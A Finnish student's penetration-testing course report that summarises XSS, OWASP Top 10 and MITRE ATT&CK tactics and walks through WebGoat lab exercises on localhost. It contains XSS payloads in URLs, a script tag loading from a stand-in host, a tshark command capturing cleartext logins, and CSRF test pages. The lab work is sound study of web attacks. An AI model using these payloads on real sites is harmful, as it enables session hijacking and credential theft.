Attaaack!
Raportissa on vastaukset Haaga-Helia Ammattikorkeakoulu Tunkeutumistestaus -opintojakson tehtäviin. Kurssi perustuu Tero Karvisen materiaaleihin.
Kirjoittamani materiaali saa muuttaa, jakaa, käyttää ja kopioida GNU General Public License v.3.0 mukaisesti.
Vinkit
- XSS, cross site scripting. Mieti, miten tällä murtaudutaan jonnekin.
- ATT&CK FAQ voi auttaa käsitteiden hahmottamisessa
- Muista merkitä, mihin kohtaan (a, b, c…) mikäkin osa vastaustasi vastaa
- Authentication Bypasses: F12 Inspector muokkaa myös HTML-lomakkeita.
- Insecure login: snifferin käyttö on tässä realistisempaa kuin F12, joten esim ‘wireshark’, “tshark -i any -V -Y ‘http.request.method == POST'” tai ‘sudo ngrep -d lo assword’.
- A7:2017 Cross Site Scripting: JavaScript-bookmarkletit eivät oletuksena toimi enää monissa selaimissa, käytä JavaScriptin ajamiseen F12 Console. Cross Site Scripting: script-tagit. “Try It! Reflected XSS” on läpi, kun yllä numeron tausta muuttuu vihreäksi, vaikka se sanoo “Well done, but … Please continue.”.
- “Identify potential for DOM-Based XSS”: jos löysit jo oikean kohdan JavaScriptistä ja kokeilit yhtä monta vaihtoehtoa kuin moolissa on rakenneyksiköitä, lunttaa oikea palautusmuoto netistä ja jatka eteenpäin.
- Basic Get CSRF Exercise: tee oma weppisivu. Jos file:// ei toimi, ‘python3 -m http.server’ tai Apache httpd.
- Uudesta OWASP top 10 – 2021 ei ole vielä (w45 ti 2021-11-09) julkaistu PDF-versiota. Voit lukea uutta OWASP Top 10 – 2021 versiota wepistä
- Attakin alatekniikat: tässä ei tarvitse tehdä kokonaista kybertappoketjua A:sta Ö:hön, sillä yksittäiset tekniikat yleensä tekevät vain pikkuruisen osan kokonaisesta hyökkäyskampanjasta.
x) Lue/katso/kuuntele ja tiivistä. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.
€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting (7 videota, noin 25 min)
- Hyökkääjä asettaa sivulle koodin, joka ajetaan aina kun käyttäjä suorittaa sivulatauksen
- Injektoitua koodia ei ajeta palvelimella vaan selaimessa
- Heijastettu XSS-hyökkäys
- URLiin on piilotettu koodia, joka ajetaan sivulatauksen yhteydessä
- Tallennettu XSS-hyökkäys
- Hyökkääjä asettaa haittakoodin esim. keskustelualueen kommenttikenttään, joka ajetaan aina sivulatauksen yhteydessä
<script src="http://foo.bar/haitta.js></script>
- Haittaohjelma ajetaan toiselta palvelimelta
- BeEF pentest-työkalu
- Suojaudu XSS
- Vältä epäilyttäviä sivuja
- Voit lisätä poikkeuksia, jossa JavaScriptin ajaminen estetään
- esim. Chromessa: Settings -> Advanced -> Privacy and security -> Content settings -> JavaScript -> Lisää poikkeuksia
- Myös muut selaimet tarjoavat mahdollisuuden estää JavaScriptin suorittamisen
OWASP 10 2017 (pdf) A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. (Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään)
A2 Broken Authentication
- Käyttäjän tunnistautumisprosessi ei ole turvallinen
- Hyökkäjä voi kaapata tunnistautumissession
- Prosessi salasanan palauttamiselle on heikko ja suojaamaton
- Sivusto ei luo back-endissä kryptattuja sessio-tunnuksia, ne paljastetaan URLissa tai niitä ei tuhota session päätyttyä
- Sivusto ei tunnista automatisoituja hyökkäyksiä, joissa käytetään vuodettuja käyttäjätunnus-salasana-pareja
- Hyökkääjä automatisoi hyökkäyksen ja testaa toimivat parit vuodetuista tietomurroista
- Kaksivaiheisen tunnistautumisen laiminlyönti ja tiheä salasanojen vaihtosykli ampuu itseään jalkaan: työntekijät turhautuvat vaihtosykliin ja tämän vuoksi käyttävät heikkoja salasanoja tai kierrättävät vanhoja salasanoja
- Hyökkääjä tiedostaa ilmiön ja osaa kohdistaa käyttämänsä salasanat helppoihin salasanoihin
- Käyttäjä kirjautuu sisään palveluun, sulkee selaimen ja poistuu tietokoneelta
- Palveluun ei ole määritelty aikakatkaisua, jonka jälkeen käyttäjä kirjataan automaattisesti ulos
- Hyökkääjällä on vapaa pääsy kohdejärjestelmään ja/tai kohteen tietoihin
- Palveluun ei ole määritelty aikakatkaisua, jonka jälkeen käyttäjä kirjataan automaattisesti ulos
A3 Sensitive Data
- Arkaluontoista dataa, kuten salasanoja, potilastietoja, pankkikorttinumeroita tai lainsäädännön alaisia tietoja liikkuu päätelaitteiden välillä suojaamattomana ja selväkielisenä
- Suojauksissa käytetään heikkoja tai vanhentuneita algoritmeja
- Kryptatun tiedon pakkaamiseen ja/tai avaamiseen käytetyt avaimet on oletusarvoisia, heikkoja tai niiden hallinnassa on heikkouksia
- Client-sovellus ei validoi palvelin-serfifikaattia
- Tunnista suojausta vaativa data, suojaa se tarpeiden mukaan
- Älä tallenna arkaluontoista tietoa turhaan
- Käytä ajantasalla olevia standardeja, protokollia ja suojausalgoritmeja
- Sovellus suojaa datan automaattisesti, kun se tallennetaan tietokantaan
- Noudettaessa suojaus puretaan automaattisesti, joka mahdollistaa datan vuotamisen selväkielisenä SQL-injektion avulla
- Sivusto ei kokonaisuudessaan suojaa web-sovelluksensa tietoliikennettä (TLS)
- Hyökkääjä valvoo sivuston verkkoliikennettä, kaappaa käyttäjän istuntoevästeen siirryttäessä suojatulta sivulta suojaamattomaan (HTTPS -> HTTP) ja kaappaa käyttäjän session.
- Salasanatietokannan sisältöä ei ole suolattu ja ne on heikosti tiivistetty
- Jos hyökkääjä tietää salausavaimen pituuden voidaan hyökkäyksessä käyttää esilaskettujen tiivistefunktioiden listaa
A7 Cross Site Scripting
- Heijastettu XSS-hyökkäys
- haitallista sisältöä näytetään käyttäjän selaimessa
- haitallinen sisältö kirjoitetaan selaimeen palvelimen lähettämän vastauksen (sivulatauksen) jälkeen
- vaatii käyttäjämanipulaatiota
- Tallennettu XSS-hyökkäys
- haittallinen sisältö on tallennettu palvelimelle (tietokantaan), joka sivulatauksen yhteydessä näytetään ja suoritetaan käyttäjän selaimessa
- käyttäjämanipulaatiota ei vaadita
- DOM XSS-hyökkäys
- hyökkäyksessä hyödynnetään web-appin rakenteen heikkouksia
- Hyökkääjä injektoi ja tallentaa haittakoodin sivustolle, mikä ajetaan aina sivulatauksen yhteydessä
- Haittakoodi voidaan injektoida esimerkiksi suojaamattoman tekstikentän avulla keskustelualueelle. Koodi ajetaan aina, kun kuka tahansa siirtyy lukemaan viestiketjua
- Haittakoodi on voitu asettaa sivustolle aiemman hyökkäyksen yhteydessä
MITRE 2021: ATT&CK Enterprise Matrix. (Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique).
Tactic | Suomeksi | Käytännössä | Esimerkki |
Reconnaissance | Tiedustelu | Hyökkääjä tutkii kohdetta aktiivisesti ja/tai passiivisesti. | Aktiivisessa tiedustelussa hyökkääjä suorittaa kohdekoneeseen porttiskannauksen ja saa selville avoinna olevat portit ja niiden demonit. |
Resource Development | Resurssien kehittäminen | Hyökkääjä kerää hyökkäyksessä käytettäviä työkaluja ja resursseja. | Hyökkääjä hankkii malwarea, jota aikoo käyttää mahdollistamaan kohdekoneen etähallinnan. |
Initial Access | Ensimmäinen pääsy | Hyökkääjä hankkii jalansijan kohdejärjestelmään ja tunkeutuu sisään ensimmäisen kerran. | Kohdejärjestelmän kirjautumistietoja ei ole vaihdettu oletustunnuksista turvallisempiin, joka mahdollistaa hyökkääjälle ensimmäisen pääsyn järjestelmään. |
Execution | Suorittaminen | Kohdejärjestelmässä ajetaan haittaohjelmia tai koodia. | Hyökkääjä asentaa kohdejärjestelmään malwarea, joka mahdollistaa etähallinnan. |
Persistence | Pysyvyyden varmistus | Ensimmäisen pääsyn jälkeen hyökkääjä haluaa mahdollistaa pääsyn järjestelmään esim. kohdekoneen uudelleenkäynnistyksen jälkeen. | Hyökkääjä luo uuden käyttäjän kohdejärjestelmään, joka mahdollistaa pääsyn takaisin järjestelmään. |
Privilege Escalation | Käyttäjäoikeuksien eskalointi | Hyökkääjä pyrkii järjestelmässä kohti korkeampia käyttäjäoikeuksia. | Hyökkääjä pääsee käsiksi admin-tason käyttäjäoikeuksiin, luo yhteyden palvelimelle. Palvelimella root-käyttäjän salasana on oletusarvoinen eikä sen sisäänkirjautumista ole estetty. |
Defense Evasion | Virustorjunnan väistely | Hyökkääjä luovii kohdejärjestelmässä, väistelee varashälyttimiä ja yrittää pysyä piilossa. | Hyökkääjä peukaloi /var/log/ -hakemiston lokitiedostoja, joista voisi paljastua tunnistamaton sisäänkirjautuminen. |
Credential Access | Tunnistetietojen käyttö | Hyökkääjän tarkoituksena on kerätä järjestelmän käyttäjätunnus-salasana-pareja. | Hyökkääjä automatisoi brute force hyökkäyksen, joka arvailee tunnus-salasana-pareja niin kauan, kunnes oikea pari löytyy. |
Discovery | Kohdejärjestelmän opiskelu ja tutkiminen | Hyökkääjä kartoittaa kohdeympäristöä. | Hyökkääjä suorittaa porttiskannauksen. Skannaus paljastaa, että portti on avoin ja että sieltä vastaa demoni, jonka version tiedetään olevan haavoittunut. |
Lateral Movement | Sivuttaissiirtymä | Hyökkääjä liikkuu kohdejärjestelmässä. | Hyökkääjä on päässyt käsiksi yrityksen työntekijän tunnuksiin ja pääsee näitä tunnuksia hyödyntäen kirjautumaan sisään muihin yrityksen käyttämiin sisäisiin palveluihin, jotka voivat paljastaa arkaluontoisempaa materiaalia. |
Collection | Tiedonkeruu | Hyökkääjä kerää tietoa kohdejärjestelmän sisältä saavuttaakseen tavoitteensa. | Hyökkääjä on päässyt käsiksi yrityksen käyttämään versiohallintaan, josta voi varastaa kohdejärjestelmän kehittämät lähdekoodit ja sen dokumentaation. |
Command and Control | Hallinta/etähallinta | Hyökkääjä käyttää ja hallitsee kohdejärjestelmää. | Hyökkääjällä on pääsy yrityksen helpdeskin käyttämiin etähallintaohjelmiin ja pääsee tämän avulla käsiksi koneisiin, joihin etähallintaohjelma on asennettu. |
Exfiltration | Tietojen saaminen ulos kohdejärjestelmästä | Hyökkääjä kuljettaa varastetun datan ulos kohdejärjestelmän verkosta. | Hyökkääjä suorittaa ajastettuja tiedonsiirtoja, jotta voi naamioida liikenteen ja matkiakseen normaalia tietoliikennettä, jotta esim. äkkinäisen suuren datamäärän siirtäminen ei paljastaisi vuotoa. |
Impact | Vaikutus | Hyökkääjä vaarantaa tiedon saatavuutta, luottamuksellisuutta ja/tai eheyttä. | Hyökkääjä tuhoaa kohdejärjestelmän tietokannat. |
z) Cross site story. Kirjoita kuvitteellinen esimerkki XSS-hyökkäyksestä. Tee mahdollisimman yksinkertainen esimerkki. Voit vaikkapa ottaa haltuun weppisivun ylläpitäjän oikeudet viemällä keksin. Tässä alakohdassa ei tarvitse tehdä mitään tietokoneella, pelkkä tarina riittää. Tarkoituksena on ymmärtää XSS-hyökkäyksen kokonaisuus ennen sormiharjoituksia. Voi halutessasi myös piirtää itse kaavion / sarjakuvan.
Tee selväksi ja erottele:
- Mitä hyökkääjä tekee?
- Mitä kohdehenkilö tekee?
- Mitä sivua / palvelinta kohdehenkilö surffailee?
- Missä JavaScriptit ajetaan?
- Miten keksi päätyy hyökkääjälle?
- Miten hyökkääjä hyödyntää keksiä?
- Mitä hyökkääjä pääsee tekemään (mikä ei onnistuisi ilman hyökkäystä)?
Hyökkääjä havaitsee verkkokauppasivustolla XSS-havoittuvuuden ja lisää tuotearvostelukenttään haittakoodia <script>
tagien sisään. Kohdekäyttäjä kirjautuu sivustolle ja avaa tuotesivun. Sivulatauksen yhteydessä selaimessa ajetaan hyökkääjän kirjoittama koodi, joka lähettää käyttäjän istuntoevästetiedot hyökkääjälle. Nyt hyökkääjä voi kaapata istunnon ja esiintyä käyttäjänä.
a) Vuohen uudet seikkailut. Ratkaise WebGoatista tehtävät
A2 Broken authentication
Authentication bypasses: 2 2FA Password Reset
Hyökkääjä voi yrittää ohittaa käyttäjäautentikoinnin peukaloimalla sovelluksen logiikkaa tai hyödyntämällä heikkouksia.
Tehtävässä käyttäjä on lähettänyt salasanan palauttamiseen vaaditun käyttäjänimen ja sähköpostiosoitteen ja seuraavaksi pitäisi vastata oikein käyttäjän määrittämiin vahvistuskysymyksiin. Kirjoitin niihin testisanat ja painoin submit
.
Developer Toolsin Network-välilehdeltä etsin oikean HTTP-pyynnön.
Matka tyssäsi heti kuin seinään. Googlasin apua ja löysin aiemman kurssitoteutuksen käyneen, nimimerkin arbexamin, raportit. arbexam kirjoitti, että Inspectorin avulla löytyy piilotettu lomake. Lopetin lukemisen tähän ja siirryin tarkastelemaan sivun lähdekoodia.
Poistin style="display:none"
määrittelyn ja esiin tuli lomake, jolla voi määritellä uuden salasanan. Lähetin testiksi lomakkeella uuden salasanan, mutta selaimeen ei tulostunut mitään ilmoitusta. Etsin HTTP-pyynnön Network-välilehdeltä, josta löysin 400 – Bad Request.
Pyyntö kertoo, että virhe tapahtuu client-päässä. Tutkin muita välilehtiä. “Response” välilehdeltä löysin, että parametri verifyMethod
puuttuu.
Palasin takaisin Inspectoriin, josta etsin hakusanalla verifyMethod. Löysin lisää piilokenttiä.
Nyt HTTP-pyyntö onnistui.
Siirryin takaisin Inspectoriin, piilotin jsEnabled
ja userid
– kentät ja lähetin uuden pyynnön painamalla Submit
.
Ilmeisesti verifyMethod
illa määritetään tapa, millä henkilöllisyys varmistetaan, sillä nyt se on “SEC_QUESTIONS
“. Userid
on käyttäjäid. jsEnabled=1
viittaisi siihen, että jossakin käytetään JavaScriptiä. Etsin jsEnabled
kentän, vaihdoin arvoksi 0 ja painoin Submit. Ei tuloksia.
Palasin takaisin selaamaan Inspectoria. Lähdekoodissa juuri ennen lomakkeita on <script> tagien välissä koodi, joka viittaa nimellään jonkin ohittavaan toimintaan.
Voisikohan jsEnabled = 1
viitata tähän? Poistan koko rivin, lähetän lomakkeen ja tarkastelen tuloksia. Ei apuja. Aiemmissa tehtävissä yläreunassa on ollut vihjepainike, mutta tässä ei. Kun kerran tehtävässä on ollut piilotettuja kenttiä, niin voisiko tämäkin olla piilotettu?
Olihan ne. Mitään ei tapahdu, joten takaisin Inspectoriin.
Ei toimi ei. Painan Reset lessonia ja aloitan alusta: vihjenappula ilmestyi ja nyt se jopa antaa viheitä!
You do want to tamper the security question parameters, but not delete them
The logic to verify the account does expect 2 security questions to be answered, but there is a flaw in the implementation
Tässä vaiheessa yrityksiä on taustalla jo todella monta, enkä enää tiedä mitä olen kokeillut.
Have you tried renaming the secQuestion0 and secQuestion1 parameters?
Mielestäni olen?
Uusi yritys.
No en ollutkaan testannut. Vihdoin onnistui, mutta miksi? Pitää selvittää tulevan luennon aikana.
A3 Sensitive data exposure
Insecure Login: 2 Let’s try
Kryptaamaton verkkoliikenne voi aiheuttaa vakavia tietoturvaongelmia. Tehtävän tarkoituksena on klikata “Log in” painiketta ja kaapata verkkoliikenteen kryptaamaton liikenne käyttäen snifferiä.
Sniffereiden käyttö on kokonaan uutta. Tero kirjoitti tehtävän vinkkeihin, että Developer Toolsin Network-välilehden tarkastelun sijaan parempi vaihtoehto olisi käyttää esimerkiksi tshark -i any -V -Y 'http.request.method == POST'
komentoa.
-i
tarkasteltava verkkoany
tarkastellaan mitä tahansa verkkoa-V
tulostaa terminaaliin paketin tietoineen-Y
toiminto, minkä pitää tapahtua ennen paketin tulostamista terminaaliin
tshark havaitsi etsimäni paketin ja tulosti sen sisältöineen terminaliin. Paketin viimeisimmiltä riveiltä löytyi tunnukset kryptaamattomina:
A7 Cross Site Scripting (XSS): Cross site scripting
2 What is XSS?
Osiossa esitellään cross-site scriptingiä ja tapoja toteuttaa sitä. XSS:n avulla hyökkääjä voi suorittaa toimintoja, jotka eivät olleet web-applikaation alkuperäisen toteuttajan suunnitelmissa. Sivu on haavoittuva Cross-Site Scriptingille, mikäli käyttäjän syöttämää htm/script syötettä ei sanitoida. Pahimmillaan
- arkaluontoista dataa, kuten istuntoevästeitä, voidaan varastaa ja hyödyntää kohdetta vastaan
- käyttäjäsyötettä, kuten salasanoja, kerätään tekaistuilla tekstikentillä
- kohde johdatetaan haittasivustoille
- kohteen selaimessa ajetaan haittakoodia.
Avasin toisen välilehden johon syötin Lesson 2-urlin. Avasin molemmista F12 Developer Toolsin consolen ja syötin JavaScript-funktion alert.(document.cookie)
. Eväste oli molemmissa sama.
7 Try It! Reflected XSS
Tehtävän tarkoituksena on selvittää kenttä, joka on altis Cross-Site Scriptingille. Lähtökohtaisesti kaikki käyttäjäsyöte tulisi validoida palvelimella, jotta XSS-vaaraa ei ole. Vaihdoin kenttien arvoja ja aloitin painamalla “Purchase”.
Mitään ei tapahtunut. Viime kerrasta oppineena katsoin ensimmäisen vinkin heti kättelyssä
Think about how the inputs are presumably processed by the application.
Tutkin lomaketta Inspectorissa. Lomakkeen luokalle on annettu arvoksi attack-form
, joka on itsessään jo ensimmäinen vihje. lomakkeen metodi on GET, vaikka sen pitäisi olla POST; lomakkeella nimenomaan lähetetään dataa. Tässä vaiheessa syötin HTTP-POST-pyyntöjä seuraavan komennon tshark -i any -V -Y 'http.request.method == POST'
. Vaihdoin Inspectorissa metodin POST
ja painoin “Purchase”. tshark nappasi paketin ja tulosti sen sisällön, joka ei läpiluvun jälkeen tuntunut antavan mitään vinkkiä.
$ tshark -i any -V -Y 'http.request.method == POST'
Capturing on 'any'
Frame 57634: 653 bytes on wire (5224 bits), 653 bytes captured (5224 bits) on interface any, id 0
Interface id: 0 (any)
Interface name: any
Encapsulation type: Linux cooked-mode capture v1 (25)
Arrival Time: Nov 12, 2021 22:04:06.655843249 EET
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1636747446.655843249 seconds
[Time delta from previous captured frame: 1.201414731 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 162.176274351 seconds]
Frame Number: 57634
Frame Length: 653 bytes (5224 bits)
Capture Length: 653 bytes (5224 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]
Linux cooked capture v1
Packet type: Unicast to us (0)
Link-layer address type: Loopback (772)
Link-layer address length: 6
Source: 00:00:00_00:00:00 (00:00:00:00:00:00)
Unused: 6361
Protocol: IPv4 (0x0800)
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
0000 00.. = Differentiated Services Codepoint: Default (0)
.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
Total Length: 637
Identification: 0x32be (12990)
Flags: 0x40, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
Fragment Offset: 0
Time to Live: 64
Protocol: TCP (6)
Header Checksum: 0x07bb [validation disabled]
[Header checksum status: Unverified]
Source Address: 127.0.0.1
Destination Address: 127.0.0.1
Transmission Control Protocol, Src Port: 60674, Dst Port: 8080, Seq: 23149, Ack: 135332, Len: 585
Source Port: 60674
Destination Port: 8080
[Stream index: 4]
[TCP Segment Len: 585]
Sequence Number: 23149 (relative sequence number)
Sequence Number (raw): 3099972929
[Next Sequence Number: 23734 (relative sequence number)]
Acknowledgment Number: 135332 (relative ack number)
Acknowledgment number (raw): 3764096566
1000 .... = Header Length: 32 bytes (8)
Flags: 0x018 (PSH, ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 1... = Push: Set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
[TCP Flags: ·······AP···]
Window: 10226
[Calculated window size: 10226]
[Window size scaling factor: -1 (unknown)]
Checksum: 0x0072 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - Timestamps: TSval 2860492258, TSecr 2860487356
Kind: Time Stamp Option (8)
Length: 10
Timestamp value: 2860492258
Timestamp echo reply: 2860487356
[SEQ/ACK analysis]
[Bytes in flight: 585]
[Bytes sent since last PSH flag: 585]
[Timestamps]
[Time since first frame in this TCP stream: 161.719235735 seconds]
[Time since previous frame in this TCP stream: 4.902251056 seconds]
TCP payload (585 bytes)
Hypertext Transfer Protocol
POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n
[Expert Info (Chat/Sequence): POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n]
[POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: POST
Request URI: /WebGoat/CrossSiteScripting/attack5a
Request Version: HTTP/1.1
Host: localhost:8080\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n
Accept: */*\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n
X-Requested-With: XMLHttpRequest\r\n
Content-Length: 65\r\n
[Content length: 65]
Origin: http://localhost:8080\r\n
Connection: keep-alive\r\n
Referer: http://localhost:8080/WebGoat/start.mvc\r\n
Cookie: JSESSIONID=NVtD_RxA45M5FOB2cD6Ef3A_W-vrts4yJBtW-Ed6\r\n
Cookie pair: JSESSIONID=NVtD_RxA45M5FOB2cD6Ef3A_W-vrts4yJBtW-Ed6
\r\n
[Full request URI: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a]
[HTTP request 53/53]
[Prev request in frame: 56563]
File Data: 65 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "QTY1" = "1"
Key: QTY1
Value: 1
Form item: "QTY2" = "2"
Key: QTY2
Value: 2
Form item: "QTY3" = "3"
Key: QTY3
Value: 3
Form item: "QTY4" = "4"
Key: QTY4
Value: 4
Form item: "field1" = "4128 3214 0002 1999"
Key: field1
Value: 4128 3214 0002 1999
Form item: "field2" = "111"
Key: field2
Value: 111
Network välilehdeltä huomasin 405: Method Not Allowed virheilmoituksen.
Lähdin tutkimaan Debugger-välilehden sisältöä, jossa tarkastelin miten sivusto on rakennettu. Käytössä on MVC-arkkitehtuuri, jossa näkymän (view) käyttöliittymästä ohjain (controller) ottaa vastaan käyttäjäsyötteen (HTTP-pyyntö), ohjaa sen tietokannan kanssa kommunikoivalle mallille (model) ja palauttaa HTTP-vastauksen ohjaimen kautta takaisin näkymälle, eli käyttäjän web-selaimeen.
Vihjeenä oli perehtyä siihen, että miten sovellus prosessoi käyttäjäsyötettä. Tämän vuoksi aloitin tutkimisen .../view/
hakemistosta. GoatRouter.js tiedostosta löysin sinne kuulumattoman funktion
setUpCustomJS: function () {
webgoat.customjs.jquery = $; //passing jquery into custom js scope ... still klunky, but works for now
webgoat.customjs.jqueryVuln = $vuln;
// shim to support xss lesson
webgoat.customjs.phoneHome = function (e) {
console.log('phoneHome invoked');
webgoat.customjs.jquery.ajax({
method: "POST",
url: "/WebGoat/CrossSiteScripting/phone-home-xss",
data: {param1: 42, param2: 24},
headers: {
"webgoat-requested-by": "dom-xss-vuln"
},
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
success: function (data) {
//devs leave stuff like this in all the time
console.log('phone home said ' + JSON.stringify(data));
}
});
}
},
Syötin consoleen funktion webgoat.customjs.phoneHome()
Vaikuttaa ihan hyvältä, mutta vielä en tiedä, miten tehtävä loppupeleissä läpäistään. Arvo phoneHome Response is 97198844
vaikuttaa numerosarjalta, jolla voisi olla merkitystä tehtävän läpäisyyn. Palasin Inspectoriin tarkastelemaan, että onko sivulla piilossa tekstikenttää, johon numerosarjan voisi syöttää. Löysin piilotetun div
, jossa oli linkki.
Linkki palautti JSON objektin.
Tehtävän ratkaisu tuntuu olevan nyt selvillä. XSS altis kenttä on pankkikortin numerosarjalle tarkoitettu kenttä.
10 Identify potential for DOM-Based XSS
Taisin vahingossa ratkaista tämän tehtävän jo edellisen tehtävän aikana. Tarkoituksena on etsiä lähdekoodiin jäänyt testaamiseen tarkoitettu koodinpätkä ja siihen osoittava reitti.
Tehtävän esimerkissä annetaan reittiesimerkki /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9
, jossa perusreitti on start.mvc#lesson/
. Avasin Developer Toolsin Debugger -välilehden ja etsin DOM-puusta GoatRouter.js
, josta löysin reittien syntaksin määrittelyn.
Noudatin logiikkaa ja testasin reittiä http://localhost:8080/WebGoat/start.mvc#test/testi
. Sivulle ilmestyi sana “teksti” ja konsoleen ilmestyi LessonController.js
testikäsittelijän lokitus.
Tein uuden sivulatauksen ja tarkastelin muita lokituksia.
Ensimmäinen lokitus tulee luokasta goatApp.js
, jossa luodaan uusi goatRouter
-olio kutsumalla GoatRouter.js
luokan Router
-konstruktioria.
Router
-olion sisälle luodaan samalla tyhjät oliomuuttujat webgoat
ja webgoat.customjs
, jolla kutsutaan koodiin jäänyttä testifunktiota phoneHome()
.
Aiemmin totesin, että reitille 'test/:param': 'testRoute'
ei ollut virhetoleranssia. Kokeilin reitin 'lesson/:name': 'lessonRoute'
virhetoleranssia.
Haavoittuva reitti on 'test/:param': 'testRoute'
. Oikea vastaus ei meinannut löytyä millään. Kokeilin useita eri variaatioita, kunnes tarkastin oikean vastauksen. Vastaukseni oli oikea, mutta liian pitkässä muodossa; yritin syöttää urlia kokonaisuudessaa. Oikeaan vastaukseen riitti start.mvc#test
.
11 Try It! DOM-Based XSS
Nyt funktiota pystyy ajamaan suoraan URLin kautta.
http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();</script>.
No eipä pystykään. Useita variaatoita myöhemmin piti käydä kurkkaamassa vastaus Arbexamin raportista. Sulkeva tagi pitääkin jättää pois. Ilmeisesti selain lisää sen automaattisesti.
http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();
12 Quiz
- Selain voi tunnistaa sivun turvalliseksi, mutta ei tunnista ajettavaa haitallista toimintoa
- Sivulle dynaamisesti syötettyä dataa ei validoida ja sanitoida
- Haittakoodi on syötetty selaimen kautta palvelimelle, joka uuden sivulatauksen yhteydessa haetaan palvelimelta ja suoritetaan selaimessa
- Injektoitu koodi on osa palvelimelle lähetettävää HTTP-pyyntöä
- Cross-Site Scriptingiä voidaan toteutta nillä kielillä ja tekniikoilla, joita ajetaan selaimessa (HTML, Flash, JavaScript…)
A8:2013 Request Forgeries
Cross-Site Request Forgeries
3 “Basic Get CSRF Exercise”
Cross-Site Forgeryssa hyödynnetään sivun luottamusta käyttäjän selaimeen. Tehtävässä vaaditaan WebWolfia. Käynnistin ja avasin sen selaimeen. Tehtävässä painikkeen klikkaus ja lomakkeen lähetys pitää toteuttaa ulkopuolelta.
Inspectorissa näkyi piilotettu csrf
-kenttä, johon oli määrelty arvoksi false
.
Kalin mukana tuli Apache2-webserver. Potkaisin sen käyntiin $ sudo systemctl restart apache2.service
ja tarkastin selaimessa http://localhost
sen toimivuuden.
Tarkastelin WebGoatin Inspectoria, josta näin end-pointin, jota painikkeella kutsutaan.
Korvasin Apache2 default-sivun omalla $ sudo nano /var/www/html/index.html
. Lisäsin painikkeen, jonka tarkoituksena on suorittaa Webgoatin lomakkeen lähetys. Lisäsin linkkiin XSS, missä haetaan näytettävältä sivulta elementtejä getElementsBy
ja klikataan niitä click()
.
// $ cat /var/www/html/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>foo</title>
</head>
<body>
<p>
<a href="http://localhost:8080/WebGoat/start.mvc#test/<script>document.getElementsByName("button").click();/">click me</a>
</p>
</body>
</html>
Klikkasin linkkiä. Ilmeisesti lainausmerkit "
eivät toimi tässä.
Vaihdoin "
merkin '''
ja kokeilin uudelleen. Merkkien vaihtaminen toimi, sillä nyt komento katkesi jälkimmäiseen "
merkkiin.
Vaihdoin jälkimmäiset lainausmerkit ja yritin uudelleen. Nyt selaimeen eikä Inspectoriin jäänyt mitään merkkejä JavaScript komennosta.
Sivulla on toinenkin painike nimeltä button
. Määrittelin linkkiin, että klikataan ensimmäistä [0]
painiketta.
// cat /var/www/html/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>foo</title>
</head>
<body>
<p>
<a href="http://localhost:8080/WebGoat/start.mvc#test/<script>document.getElementsByName('''button''')[0].click();/">click me</a>
</p>
</body>
</html>
Klikkasin linkkiä, mutta sama tulos kuin edellisessä.
Tässä vaiheessa on hyvä huomata, että reitti ja linkki ovat kokonaan vääriä: ...start.mvc#test...
ei osoita kyseisen tehtävän sivuun millään tavalla. Vaihdoin linkin osoittamaan tehtäväsivulle.
// $ cat /var/www/html/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>foo</title>
</head>
<body>
<p>
<a href="http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2<script>document.getElementsByName('''button''')[0].click();">click me</a>
</p>
</body>
</html>
Ei toimi ei. Nyt pitää etsiä vinkkiä, jotta pääsen eteenpäin. Googlasin walkthrougn, josta selvisi että lähdin täysin väärille raiteille. Alussa olin kiinnittänyt huomiota kutsuttavaan endpointiin action="/WebGoat/csrf/basic-get-flag"
